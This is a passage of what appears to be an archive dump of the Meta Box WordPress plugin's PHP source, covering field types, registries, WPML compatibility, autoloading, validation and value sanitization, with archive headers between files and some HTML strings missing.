filter upload directory. Requires PHP >= 5.3.0. $filter_upload_dir = function( $uploads ) use ( $field ) { $uploads['path'] = $field['upload_dir']; $uploads['url'] = self::convert_path_to_url( $field['upload_dir'] ); $uploads['subdir'] = ''; $uploads['basedir'] = $field['upload_dir']; return $uploads; }; // Make sure upload dir is inside WordPress. $upload_dir = wp_normalize_path( untrailingslashit( $field['upload_dir'] ) ); $root = wp_normalize_path( untrailingslashit( ABSPATH ) ); if ( ! str_starts_with( $upload_dir, $root ) ) { return; } // Let WordPress handle upload to the custom directory. add_filter( 'upload_dir', $filter_upload_dir ); $overrides = [ 'test_form' => false, 'unique_filename_callback' => $field['unique_filename_callback'], ]; $file_info = wp_handle_upload( $file, $overrides ); remove_filter( 'upload_dir', $filter_upload_dir ); return empty( $file_info['url'] ) ? null : $file_info['url']; } public static function convert_path_to_url( string $path ) : string { $path = wp_normalize_path( untrailingslashit( $path ) ); $root = wp_normalize_path( untrailingslashit( ABSPATH ) ); $relative_path = str_replace( $root, '', $path ); return home_url( $relative_path ); } } fields/switch.php000064400000004514151545703130010034 0ustar00
    ' . $field['on_label'] . ' ' . $field['off_label'] . '
    ', self::render_attributes( $attributes ), checked( ! empty( $meta ), 1, false ) ); return $output; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'style' => 'rounded', 'on_label' => '', 'off_label' => '', ] ); return $field; } /** * Get the attributes for a field. * * @param array $field The field parameters. * @param mixed $value The attribute value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes['type'] = 'checkbox'; return $attributes; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { $on = $field['on_label'] ?: __( 'On', 'meta-box' ); $off = $field['off_label'] ?: __( 'Off', 'meta-box' ); return $value ? $on : $off; } } fields/oembed.php000064400000010066151545703130007765 0ustar00 __( 'Embed HTML not available.', 'meta-box' ), ] ); $field['attributes'] = wp_parse_args( $field['attributes'], [ 'data-not-available' => $field['not_available_string'], ] ); return $field; } public static function admin_enqueue_scripts() { wp_enqueue_style( 'rwmb-oembed', RWMB_CSS_URL . 'oembed.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-oembed', 'path', RWMB_CSS_DIR . 'oembed.css' ); wp_enqueue_script( 'rwmb-oembed', RWMB_JS_URL . 'oembed.js', [ 'jquery', 'underscore', 'rwmb' ], RWMB_VER, true ); wp_localize_script( 'rwmb-oembed', 'rwmbOembed', [ 'nonce' => wp_create_nonce( 'oembed_get' ), ] ); } public static function add_actions() { add_action( 'wp_ajax_rwmb_get_embed', [ __CLASS__, 'ajax_get_embed' ] ); } public static function ajax_get_embed() { check_ajax_referer( 'oembed_get' ); $request = rwmb_request(); $url = (string) $request->filter_post( 'url', FILTER_SANITIZE_URL ); $not_available = (string) $request->post( 'not_available' ); wp_send_json_success( self::get_embed( $url, $not_available ) ); } /** * Get embed html from url. * * @param string $url URL. * @param string $not_available Not available string displayed to users. * @return string */ public static function get_embed( $url, $not_available = '' ) { /** * Set arguments for getting embedded HTML. * Without arguments, default width will be taken from global $content_width, which can break UI in the admin. * * @link https://github.com/rilwis/meta-box/issues/801 * @see WP_oEmbed::fetch() * @see WP_Embed::shortcode() * @see wp_embed_defaults() */ $args = []; if ( is_admin() ) { $args['width'] = 360; } // Try oembed first. $embed = wp_oembed_get( $url, $args ); // If no oembed provides found, try WordPress auto embed. if ( ! $embed ) { global $wp_embed; $temp = $wp_embed->return_false_on_fail; $wp_embed->return_false_on_fail = true; // Do not fallback to make a link. $embed = $wp_embed->shortcode( $args, $url ); $wp_embed->return_false_on_fail = $temp; } if ( $not_available ) { $not_available = '
    ' . wp_kses_post( $not_available ) . '
    '; } $not_available = apply_filters( 'rwmb_oembed_not_available_string', $not_available, $url ); return $embed ? $embed : $not_available; } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * @return string */ public static function html( $meta, $field ) { return parent::html( $meta, $field ) . sprintf( '
    %s
    ', $meta ? self::get_embed( $meta, $field['not_available_string'] ) : '' ); } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes['type'] = 'url'; return $attributes; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return self::get_embed( $value, $field['not_available_string'] ); } } fields/sidebar.php000064400000002343151545703130010142 0ustar00 __( 'Select a sidebar', 'meta-box' ), ] ); $field = parent::normalize( $field ); return $field; } public static function query( $meta, array $field ) : array { global $wp_registered_sidebars; $options = []; foreach ( $wp_registered_sidebars as $sidebar ) { $options[ $sidebar['id'] ] = [ 'value' => $sidebar['id'], 'label' => $sidebar['name'], ]; } return $options; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { if ( ! is_active_sidebar( $value ) ) { return ''; } ob_start(); dynamic_sidebar( $value ); return ob_get_clean(); } } storage-registry.php000064400000000642151545703130010575 0ustar00storages[ $class_name ] ) ) { $this->storages[ $class_name ] = new $class_name(); } return $this->storages[ $class_name ]; } } wpml.php000064400000006755151545703130006255 0ustar00get( $meta_data['key'], get_post_type( $meta_data['master_post_id'] ) ); if ( false === $field || ! in_array( $field['type'], $this->field_types, true ) ) { return $value; } // Object type needed for WPML filter differs between fields. $object_type = 'taxonomy_advanced' === $field['type'] ? $field['taxonomy'] : $field['post_type']; // Translating values, whether are stored as comma separated strings or not. if ( ! str_contains( $value, ',' ) ) { $value = apply_filters( 'wpml_object_id', $value, $object_type, true, $target_language ); return $value; } // Dealing with IDs stored as comma separated strings. $translated_values = []; $values = explode( ',', $value ); foreach ( $values as $v ) { $translated_values[] = apply_filters( 'wpml_object_id', $v, $object_type, true, $target_language ); } $value = implode( ',', $translated_values ); return $value; } /** * Modified field depends on its translation status. * If the post is a translated version of another post and the field is set to: * - Do not translate: hide the field. * - Copy: make it disabled so users cannot edit. * - Translate: do nothing. * * @param array $field Field parameters. * * @return mixed */ public function modify_field( $field ) { global $wpml_post_translations; if ( empty( $field['id'] ) ) { return $field; } // Get post ID. $request = rwmb_request(); $post_id = $request->filter_get( 'post', FILTER_SANITIZE_NUMBER_INT ); if ( ! $post_id ) { $post_id = $request->filter_post( 'post_ID', FILTER_SANITIZE_NUMBER_INT ); } // If the post is the original one: do nothing. if ( ! method_exists( $wpml_post_translations, 'get_source_lang_code' ) || ! $wpml_post_translations->get_source_lang_code( $post_id ) ) { return $field; } // Get setting for the custom field translation. $custom_fields_translation = apply_filters( 'wpml_sub_setting', false, 'translation-management', 'custom_fields_translation' ); if ( ! isset( $custom_fields_translation[ $field['id'] ] ) ) { return $field; } $setting = intval( $custom_fields_translation[ $field['id'] ] ); if ( 0 === $setting ) { // Do not translate: hide it. $field['class'] .= ' hidden'; } elseif ( 1 === $setting ) { // Copy: disable editing. $field['disabled'] = true; } return $field; } } field-registry.php000064400000003207151545703130010214 0ustar00data[ $object_type ] ) ) { $this->data[ $object_type ] = []; } if ( empty( $this->data[ $object_type ][ $type ] ) ) { $this->data[ $object_type ][ $type ] = []; } $this->data[ $object_type ][ $type ][ $field['id'] ] = $field; do_action( 'rwmb_field_registered', $field, $type, $object_type ); } /** * Retrieve a field. * * @param string $id A meta box instance id. * @param string $type Post type|Taxonomy|'user'|Setting page which the field belongs to. * @param string $object_type Object type which the field belongs to. * * @return bool|array False or field configuration. */ public function get( $id, $type, $object_type = 'post' ) { return $this->data[ $object_type ][ $type ][ $id ] ?? false; } /** * Retrieve fields by object type. * * @param string $object_type Object type which the field belongs to. * * @return array List of fields. */ public function get_by_object_type( string $object_type = 'post' ) : array { return $this->data[ $object_type ] ?? []; } } functions.php000064400000022775151545703130007306 0ustar00 'post', 'type' => '', ] ); /** * Filter meta type from object type and object id. * * @var string Meta type, default is post type name. * @var string Object type. * @var ?string|?int Object id. */ $type = apply_filters( 'rwmb_meta_type', $args['type'], $args['object_type'], $object_id ); if ( ! $type ) { $type = get_post_type( $object_id ); } return rwmb_get_registry( 'field' )->get( $key, $type, $args['object_type'] ); } } if ( ! function_exists( 'rwmb_meta_legacy' ) ) { /** * Get post meta. * * @param string $key Meta key. Required. * @param array $args Array of arguments. Optional. * @param int|null $post_id Post ID. null for current post. Optional. * * @return mixed */ function rwmb_meta_legacy( $key, $args = [], $post_id = null ) { $args = wp_parse_args( $args, [ 'type' => 'text', 'multiple' => false, 'clone' => false, ] ); $field = [ 'id' => $key, 'type' => $args['type'], 'clone' => $args['clone'], 'multiple' => $args['multiple'], ]; $method = 'get_value'; switch ( $args['type'] ) { case 'taxonomy': case 'taxonomy_advanced': $field['taxonomy'] = $args['taxonomy']; break; case 'map': case 'osm': case 'oembed': $method = 'the_value'; break; } $field = RWMB_Field::call( 'normalize', $field ); return RWMB_Field::call( $method, $field, $args, $post_id ); } } if ( ! function_exists( 'rwmb_get_value' ) ) { /** * Get value of custom field. * This is used to replace old version of rwmb_meta key. * * @param string $field_id Field ID. Required. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return mixed false if field doesn't exist. Field value otherwise. */ function rwmb_get_value( $field_id, $args = [], $post_id = null ) { $args = wp_parse_args( $args ); $field = rwmb_get_field_settings( $field_id, $args, $post_id ); // Get field value. $value = $field ? RWMB_Field::call( 'get_value', $field, $args, $post_id ) : false; /* * Allow developers to change the returned value of field. * For version < 4.8.2, the filter name was 'rwmb_get_field'. * * @param mixed $value Field value. * @param array $field Field parameters. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. */ $value = apply_filters( 'rwmb_get_value', $value, $field, $args, $post_id ); return $value; } } if ( ! function_exists( 'rwmb_the_value' ) ) { /** * Display the value of a field * * @param string $field_id Field ID. Required. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * @param bool $echo Display field meta value? Default `true` which works in almost all cases. We use `false` for the [rwmb_meta] shortcode. * * @return string */ function rwmb_the_value( $field_id, $args = [], $post_id = null, $echo = true ) { $args = wp_parse_args( $args ); $field = rwmb_get_field_settings( $field_id, $args, $post_id ); if ( ! $field ) { return ''; } $output = RWMB_Field::call( 'the_value', $field, $args, $post_id ); /* * Allow developers to change the returned value of field. * For version < 4.8.2, the filter name was 'rwmb_get_field'. * * @param mixed $value Field HTML output. * @param array $field Field parameters. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. */ $output = apply_filters( 'rwmb_the_value', $output, $field, $args, $post_id ); if ( $echo ) { echo $output; // phpcs:ignore WordPress.Security.EscapeOutput } return $output; } } if ( ! function_exists( 'rwmb_get_object_fields' ) ) { /** * Get defined meta fields for object. * * @param int|string $type_or_id Object ID or post type / taxonomy (for terms) / user (for users). * @param string $object_type Object type. Use post, term. * * @return array */ function rwmb_get_object_fields( $type_or_id, $object_type = 'post' ) { $meta_boxes = rwmb_get_registry( 'meta_box' )->get_by( [ 'object_type' => $object_type ] ); array_walk( $meta_boxes, 'rwmb_check_meta_box_supports', [ $object_type, $type_or_id ] ); $meta_boxes = array_filter( $meta_boxes ); $fields = []; foreach ( $meta_boxes as $meta_box ) { foreach ( $meta_box->fields as $field ) { $fields[ $field['id'] ] = $field; } } return $fields; } } if ( ! function_exists( 'rwmb_check_meta_box_supports' ) ) { /** * Check if a meta box supports an object. * * @param object $meta_box Meta Box object. * @param int $key Not used. * @param array $object_data Object data (type and ID). */ function rwmb_check_meta_box_supports( &$meta_box, $key, $object_data ) { list( $object_type, $type_or_id ) = $object_data; $type = null; $prop = null; switch ( $object_type ) { case 'post': $type = is_numeric( $type_or_id ) ? get_post_type( $type_or_id ) : $type_or_id; $prop = 'post_types'; break; case 'term': $type = $type_or_id; if ( is_numeric( $type_or_id ) ) { $term = get_term( $type_or_id ); $type = is_wp_error( $term ) || ! $term ? null : $term->taxonomy; } $prop = 'taxonomies'; break; case 'user': $type = 'user'; $prop = 'user'; break; case 'setting': $type = $type_or_id; $prop = 'settings_pages'; break; } if ( ! $type ) { $meta_box = false; return; } if ( isset( $meta_box->meta_box[ $prop ] ) && ! in_array( $type, $meta_box->meta_box[ $prop ], true ) ) { $meta_box = false; } } } if ( ! function_exists( 'rwmb_get_registry' ) ) { /** * Get the registry by type. * Always return the same instance of the registry. * * @param string $type Registry type. * * @return object */ function rwmb_get_registry( $type ) { static $data = []; $class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Registry'; if ( ! isset( $data[ $type ] ) ) { $data[ $type ] = new $class(); } return $data[ $type ]; } } if ( ! function_exists( 'rwmb_get_storage' ) ) { /** * Get storage instance. * * @param string $object_type Object type. Use post or term. * @param RW_Meta_Box $meta_box Meta box object. Optional. * @return RWMB_Storage_Interface */ function rwmb_get_storage( $object_type, $meta_box = null ) { $class = 'RWMB_' . RWMB_Helpers_String::title_case( $object_type ) . '_Storage'; $class = class_exists( $class ) ? $class : 'RWMB_Post_Storage'; $storage = rwmb_get_registry( 'storage' )->get( $class ); return apply_filters( 'rwmb_get_storage', $storage, $object_type, $meta_box ); } } if ( ! function_exists( 'rwmb_request' ) ) { /** * Get request object. * * @return RWMB_Request */ function rwmb_request() { static $request; if ( ! $request ) { $request = new RWMB_Request(); } return $request; } } core.php000064400000004475151545703130006223 0ustar00add_context_hooks(); } public function plugin_links( array $links ) : array { $links[] = '' . esc_html__( 'Docs', 'meta-box' ) . ''; return $links; } public function register_meta_boxes() { $configs = apply_filters( 'rwmb_meta_boxes', [] ); $registry = rwmb_get_registry( 'meta_box' ); foreach ( $configs as $config ) { if ( ! is_array( $config ) || empty( $config ) ) { continue; } $meta_box = $registry->make( $config ); $meta_box->register_fields(); } } /** * WordPress will prevent post data saving if a page template has been selected that does not exist. * This is especially a problem when switching themes, and old page templates are in the post data. * Unset the page template if the page does not exist to allow the post to save. */ public function fix_page_template( WP_Post $post ) { $template = get_post_meta( $post->ID, '_wp_page_template', true ); $page_templates = wp_get_theme()->get_page_templates(); // If the template doesn't exists, remove the data to allow WordPress to save. if ( ! isset( $page_templates[ $template ] ) ) { delete_post_meta( $post->ID, '_wp_page_template' ); } } /** * Get registered meta boxes via a filter. * @deprecated No longer used. Keep for backward-compatibility with extensions. */ public static function get_meta_boxes() : array { $meta_boxes = rwmb_get_registry( 'meta_box' )->all(); return wp_list_pluck( $meta_boxes, 'meta_box' ); } public function add_context_hooks() { $hooks = [ 'edit_form_top', 'edit_form_after_title', 'edit_form_after_editor', 'edit_form_before_permalink', ]; foreach ( $hooks as $hook ) { add_action( $hook, [ $this, 'render_meta_boxes_for_context' ] ); } } public function render_meta_boxes_for_context( $post ) { $hook = current_filter(); $context = 'edit_form_top' === $hook ? 'form_top' : substr( $hook, 10 ); do_meta_boxes( null, $context, $post ); } } media-modal.php000064400000006130151545703130007432 0ustar00all(); foreach ( $meta_boxes as $meta_box ) { if ( $this->is_in_modal( $meta_box->meta_box ) ) { $this->fields = array_merge( $this->fields, array_values( $meta_box->fields ) ); } } } /** * Add fields to the attachment edit popup. * * @param array $form_fields An array of attachment form fields. * @param WP_Post $post The WP_Post attachment object. * * @return mixed */ public function add_fields( $form_fields, $post ) { if ( empty( $post ) || $this->is_attachment_edit_screen() ) { return $form_fields; } foreach ( $this->fields as $field ) { $form_field = $field; $form_field['label'] = $field['name']; $form_field['input'] = 'html'; // Just ignore the field 'std' because there's no way to check it. $meta = RWMB_Field::call( $field, 'meta', $post->ID, true ); $form_field['value'] = $meta; $field['field_name'] = 'attachments[' . $post->ID . '][' . $field['field_name'] . ']'; ob_start(); $field['name'] = ''; // Don't show field label as it's already handled by WordPress. RWMB_Field::call( 'show', $field, true, $post->ID ); // For MB Custom Table to flush data from the cache to the database. do_action( 'rwmb_flush_data', $post->ID, $field, [] ); $form_field['html'] = ob_get_clean(); $form_fields[ $field['id'] ] = $form_field; } return $form_fields; } /** * Save custom fields. * * @param array $post An array of post data. * @param array $attachment An array of attachment metadata. * * @return array */ public function save_fields( $post, $attachment ) { foreach ( $this->fields as $field ) { $key = $field['id']; $old = RWMB_Field::call( $field, 'raw_meta', $post['ID'] ); $new = isset( $attachment[ $key ] ) ? $attachment[ $key ] : ''; $new = RWMB_Field::process_value( $new, $post['ID'], $field ); // Call defined method to save meta value, if there's no methods, call common one. RWMB_Field::call( $field, 'save', $new, $old, $post['ID'] ); // For MB Custom Table to flush data from the cache to the database. do_action( 'rwmb_flush_data', $post['ID'], $field, [] ); } return $post; } private function is_in_modal( array $meta_box ): bool { return in_array( 'attachment', $meta_box['post_types'], true ) && ! empty( $meta_box['media_modal'] ); } private function is_attachment_edit_screen(): bool { if ( ! function_exists( 'get_current_screen' ) ) { return false; } $screen = get_current_screen(); return $screen && $screen->id === 'attachment'; } } autoloader.php000064400000002761151545703130007426 0ustar00dirs[] = [ 'dir' => trailingslashit( $dir ), 'prefix' => $prefix, 'suffix' => $suffix, ]; } public function register() { spl_autoload_register( [ $this, 'autoload' ] ); } public function autoload( string $class_name ) { foreach ( $this->dirs as $dir ) { if ( ( $dir['prefix'] && ! str_starts_with( $class_name, $dir['prefix'] ) ) || ( $dir['suffix'] && ! str_ends_with( $class_name, $dir['suffix'] ) ) ) { continue; } $file = substr( $class_name, strlen( $dir['prefix'] ) ); if ( $dir['suffix'] && strlen( $file ) > strlen( $dir['suffix'] ) ) { $file = substr( $file, 0, - strlen( $dir['suffix'] ) ); } if ( function_exists( 'mb_strtolower' ) && function_exists( 'mb_detect_encoding' ) ) { $file = mb_strtolower( str_replace( '_', '-', $file ), mb_detect_encoding( $file ) ) . '.php'; } else { $file = strtolower( str_replace( '_', '-', $file ) ) . '.php'; } $file = $dir['dir'] . $file; $this->require( $file ); } } private function require( string $file ) { if ( file_exists( $file ) ) { require_once $file; } } } validation.php000064400000005133151545703130007415 0ustar00 and will be converted into JSON by JS. */ public function rules( RW_Meta_Box $meta_box ) { $settings = $meta_box->meta_box; if ( empty( $settings['validation'] ) ) { return; } $prefix = $settings['prefix'] ?? ''; // Get field ID prefix from the builder. $fields = $settings['fields']; $validation = $settings['validation']; $ids = wp_list_pluck( $fields, 'id' ); // Don't use array_column() as it doesn't preserve keys. // Add prefix for validation rules. foreach ( $validation as &$rules ) { $rules = array_combine( array_map( function ( $key ) use ( $fields, $prefix, $ids ) { $id = $prefix . $key; $index = array_search( $id, $ids, true ); if ( $index === false ) { return $id; } $field = $fields[ $index ]; if ( in_array( $field['type'], [ 'file', 'image' ], true ) ) { return $field['clone'] ? $field['index_name'] : $field['input_name']; } return $id; }, array_keys( $rules ) ), $rules ); } echo ''; } public function enqueue() { wp_enqueue_script( 'jquery-validation', RWMB_JS_URL . 'validation/jquery.validate.js', [ 'jquery' ], '1.20.0', true ); wp_enqueue_script( 'jquery-validation-additional-methods', RWMB_JS_URL . 'validation/additional-methods.js', [ 'jquery-validation' ], '1.20.0', true ); wp_enqueue_script( 'rwmb-validation', RWMB_JS_URL . 'validation/validation.js', [ 'jquery-validation-additional-methods', 'rwmb' ], RWMB_VER, true ); $locale = determine_locale(); $locale_short = substr( $locale, 0, 2 ); $locale = file_exists( RWMB_DIR . "js/validation/i18n/messages_$locale.js" ) ? $locale : $locale_short; if ( file_exists( RWMB_DIR . "js/validation/i18n/messages_$locale.js" ) ) { wp_enqueue_script( 'jquery-validation-i18n', RWMB_JS_URL . "validation/i18n/messages_$locale.js", [ 'jquery-validation-additional-methods' ], '1.20.0', true ); } RWMB_Helpers_Field::localize_script_once( 'rwmb-validation', 'rwmbValidation', [ 'message' => esc_html( apply_filters( 'rwmb_validation_message_string', __( 'Please correct the errors highlighted below and try again.', 'meta-box' ) ) ), ] ); } } loader.php000064400000010042151545703130006524 0ustar00constants(); // PSR-4 autoload. $psr4_autoload = dirname( __DIR__ ) . '/vendor/autoload.php'; if ( file_exists( $psr4_autoload ) ) { require $psr4_autoload; } // Register autoload for classes. require_once RWMB_INC_DIR . 'autoloader.php'; $autoloader = new RWMB_Autoloader(); $autoloader->add( RWMB_INC_DIR, 'RW_' ); $autoloader->add( RWMB_INC_DIR, 'RWMB_' ); $autoloader->add( RWMB_INC_DIR . 'about', 'RWMB_' ); $autoloader->add( RWMB_INC_DIR . 'fields', 'RWMB_', '_Field' ); $autoloader->add( RWMB_INC_DIR . 'walkers', 'RWMB_Walker_' ); $autoloader->add( RWMB_INC_DIR . 'interfaces', 'RWMB_', '_Interface' ); $autoloader->add( RWMB_INC_DIR . 'storages', 'RWMB_', '_Storage' ); $autoloader->add( RWMB_INC_DIR . 'helpers', 'RWMB_Helpers_' ); $autoloader->add( RWMB_INC_DIR . 'update', 'RWMB_Update_' ); $autoloader->register(); // Plugin core. $core = new RWMB_Core(); $core->init(); $shortcode = new RWMB_Shortcode(); $shortcode->init(); // Validation module. new RWMB_Validation(); $sanitizer = new RWMB_Sanitizer(); $sanitizer->init(); $media_modal = new RWMB_Media_Modal(); $media_modal->init(); // WPML Compatibility. $wpml = new RWMB_WPML(); $wpml->init(); // Update. $update_option = null; $update_checker = null; if ( class_exists( '\MetaBox\Updater\Option' ) ) { $update_option = new \MetaBox\Updater\Option(); $update_checker = new \MetaBox\Updater\Checker( $update_option ); $update_checker->init(); $update_settings = new \MetaBox\Updater\Settings( $update_checker, $update_option ); $update_settings->init(); $update_notification = new \MetaBox\Updater\Notification( $update_checker, $update_option ); $update_notification->init(); } // Register categories for page builders. new \MetaBox\Integrations\Block(); new \MetaBox\Integrations\Bricks; new \MetaBox\Integrations\Elementor; new \MetaBox\Integrations\Oxygen(); if ( is_admin() ) { new \MetaBox\Dashboard\Dashboard( $update_checker, $update_option ); new \MetaBox\FeaturedPlugins(); } // Public functions. require_once RWMB_INC_DIR . 'functions.php'; } } clone.php000064400000006775151545703130006400 0ustar00 $sub_meta ) { $sub_field = $field; $sub_field['field_name'] = $field['field_name'] . "[{$index}]"; $attributes_id = $sub_field['attributes']['id'] ?? $sub_field['id']; if ( $index === 0 && $count > 1 ) { $sub_field['attributes']['id'] = $attributes_id . "_rwmb_template"; } if ( $index === 1 ) { $sub_field['attributes']['id'] = $attributes_id; } if ( $index > 1 ) { if ( isset( $sub_field['address_field'] ) ) { $sub_field['address_field'] = $field['address_field'] . "_{$index}"; } $sub_field['id'] = $field['id'] . "_{$index}"; if ( ! empty( $sub_field['attributes']['id'] ) ) { $sub_field['attributes']['id'] .= "_{$index}"; } } if ( in_array( $sub_field['type'], [ 'file', 'image' ], true ) ) { $sub_field['input_name'] = '_file_' . uniqid(); $sub_field['index_name'] .= "[{$index}]"; } elseif ( $field['multiple'] ) { $sub_field['field_name'] .= '[]'; } // Wrap field HTML in a div with class="rwmb-clone" if needed. $class = "rwmb-clone rwmb-{$field['type']}-clone"; $sort_icon = ''; if ( $field['sort_clone'] ) { $class .= ' rwmb-sort-clone'; $sort_icon = ""; } $class .= $index === 0 ? ' rwmb-clone-template' : ''; $input_html = "
    " . $sort_icon; // Call separated methods for displaying each type of field. $input_html .= RWMB_Field::call( $sub_field, 'html', $sub_meta ); $input_html = RWMB_Field::filter( 'html', $input_html, $sub_field, $sub_meta ); // Remove clone button. $input_html .= self::remove_clone_button( $sub_field ); $input_html .= '
    '; $field_html .= $input_html; } return $field_html; } /** * Set value of meta before saving into database * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $object_id The object ID. * @param array $field The field parameters. * * @return mixed */ public static function value( $new, $old, $object_id, array $field ) { if ( ! is_array( $new ) ) { $new = []; } if ( in_array( $field['type'], [ 'file', 'image' ], true ) ) { $new = RWMB_File_Field::clone_value( $new, $old, $object_id, $field ); } else { foreach ( $new as $key => $value ) { $old_value = $old[ $key ] ?? null; $value = RWMB_Field::call( $field, 'value', $value, $old_value, $object_id ); $new[ $key ] = RWMB_Field::filter( 'sanitize', $value, $field, $old_value, $object_id ); } } // Remove empty clones. $new = array_filter( $new, 'RWMB_Helpers_Value::is_valid_for_field' ); // Reset indexes. $new = array_values( $new ); return $new; } public static function add_clone_button( array $field ) : string { if ( ! $field['clone'] ) { return ''; } $text = RWMB_Field::filter( 'add_clone_button_text', $field['add_button'], $field ); return '' . esc_html( $text ) . ''; } public static function remove_clone_button( array $field ) : string { $text = RWMB_Field::filter( 'remove_clone_button_text', '', $field ); return '' . $text . ''; } } interfaces/storage.php000064400000000500151545703130011043 0ustar00get_callback( $field ); return is_callable( $callback ) ? call_user_func( $callback, $value, $field, $old_value, $object_id ) : $value; } /** * Get sanitize callback for a field. * * @param array $field Field settings. * @return callable */ private function get_callback( $field ) { // User-defined callback. if ( is_callable( $field['sanitize_callback'] ) ) { return $field['sanitize_callback']; } $callbacks = [ 'autocomplete' => [ $this, 'sanitize_choice' ], 'background' => [ $this, 'sanitize_background' ], 'button_group' => [ $this, 'sanitize_choice' ], 'checkbox' => [ $this, 'sanitize_checkbox' ], 'checkbox_list' => [ $this, 'sanitize_choice' ], 'color' => [ $this, 'sanitize_color' ], 'date' => [ $this, 'sanitize_datetime' ], 'datetime' => [ $this, 'sanitize_datetime' ], 'email' => 'sanitize_email', 'fieldset_text' => [ $this, 'sanitize_text' ], 'file' => [ $this, 'sanitize_file' ], 'file_advanced' => [ $this, 'sanitize_object' ], 'file_input' => [ $this, 'sanitize_url' ], 'file_upload' => [ $this, 'sanitize_object' ], 'hidden' => 'sanitize_text_field', 'image' => [ $this, 'sanitize_file' ], 'image_advanced' => [ $this, 'sanitize_object' ], 'image_select' => [ $this, 'sanitize_choice' ], 'image_upload' => [ $this, 'sanitize_object' ], 'key_value' => [ $this, 'sanitize_text' ], 'map' => [ $this, 'sanitize_map' ], 'number' => [ $this, 'sanitize_number' ], 'oembed' => [ $this, 'sanitize_url' ], 'osm' => [ $this, 'sanitize_map' ], 'password' => 'sanitize_text_field', 'post' => [ $this, 'sanitize_object' ], 'radio' => [ $this, 'sanitize_choice' ], 'range' => [ $this, 'sanitize_number' ], 'select' => [ $this, 'sanitize_choice' ], 'select_advanced' => [ $this, 'sanitize_choice' ], 'sidebar' => [ $this, 'sanitize_text' ], 'single_image' => 'absint', 'slider' => [ $this, 'sanitize_slider' ], 'switch' => [ $this, 'sanitize_checkbox' ], 'taxonomy' => [ $this, 'sanitize_object' ], 'taxonomy_advanced' => [ $this, 'sanitize_taxonomy_advanced' ], 'text' => 'sanitize_text_field', 'text_list' => [ $this, 'sanitize_text' ], 'textarea' => 'wp_kses_post', 'time' => 'sanitize_text_field', 'url' => [ $this, 'sanitize_url' ], 'user' => [ $this, 'sanitize_object' ], 'video' => [ $this, 'sanitize_object' ], 'wysiwyg' => 'wp_kses_post', ]; $type = $field['type']; return $callbacks[ $type ] ?? null; } /** * Set the value of checkbox to 1 or 0 instead of 'checked' and empty string. * This prevents using default value once the checkbox has been unchecked. * * @link https://github.com/rilwis/meta-box/issues/6 * @param string $value Checkbox value. */ private function sanitize_checkbox( $value ): int { return (int) ! empty( $value ); } /** * Sanitize numeric value. * * @param string $value The number value. * @return string */ private function sanitize_number( $value ) { return is_numeric( $value ) ? $value : ''; } private function sanitize_color( string $value ): string { if ( str_contains( $value, 'hsl' ) ) { return wp_unslash( $value ); } if ( ! str_contains( $value, 'rgb' ) ) { return (string) sanitize_hex_color( $value ); } // rgba value. $red = ''; $green = ''; $blue = ''; $alpha = 1; if ( str_contains( $value, 'rgba' ) ) { sscanf( $value, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); } else { sscanf( $value, 'rgb(%d,%d,%d)', $red, $green, $blue ); } return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')'; } /** * Sanitize value for a choice field. * * @param string|array $value The submitted value. * @param array $field The field settings. * @return string|array */ private function sanitize_choice( $value, $field ) { $options = RWMB_Choice_Field::transform_options( $field['options'] ); $options = wp_list_pluck( $options, 'value' ); $value = wp_unslash( $value ); return is_array( $value ) ? array_intersect( $value, $options ) : ( in_array( $value, $options ) ? $value : '' ); } /** * Sanitize object & media field. * * @param int|array $value The submitted value. * @return int|array */ private function sanitize_object( $value ) { return is_array( $value ) ? array_filter( array_map( 'absint', $value ) ) : ( $value ? absint( $value ) : '' ); } /** * Sanitize background field. * * @param array $value The submitted value. * @return array */ private function sanitize_background( $value ) { $value = wp_parse_args( $value, [ 'color' => '', 'image' => '', 'repeat' => '', 'attachment' => '', 'position' => '', 'size' => '', ] ); $value['color'] = $this->sanitize_color( $value['color'] ); $value['image'] = esc_url_raw( $value['image'] ); $value['repeat'] = in_array( $value['repeat'], [ 'no-repeat', 'repeat', 'repeat-x', 'repeat-y', 'inherit' ], true ) ? $value['repeat'] : ''; $value['position'] = in_array( $value['position'], [ 'top left', 'top center', 'top right', 'center left', 'center center', 'center right', 'bottom left', 'bottom center', 'bottom right' ], true ) ? $value['position'] : ''; $value['attachment'] = in_array( $value['attachment'], [ 'fixed', 'scroll', 'inherit' ], true ) ? $value['attachment'] : ''; $value['size'] = in_array( $value['size'], [ 'inherit', 'cover', 'contain' ], true ) ? $value['size'] : ''; return $value; } /** * Sanitize text field. * * @param string|array $value The submitted 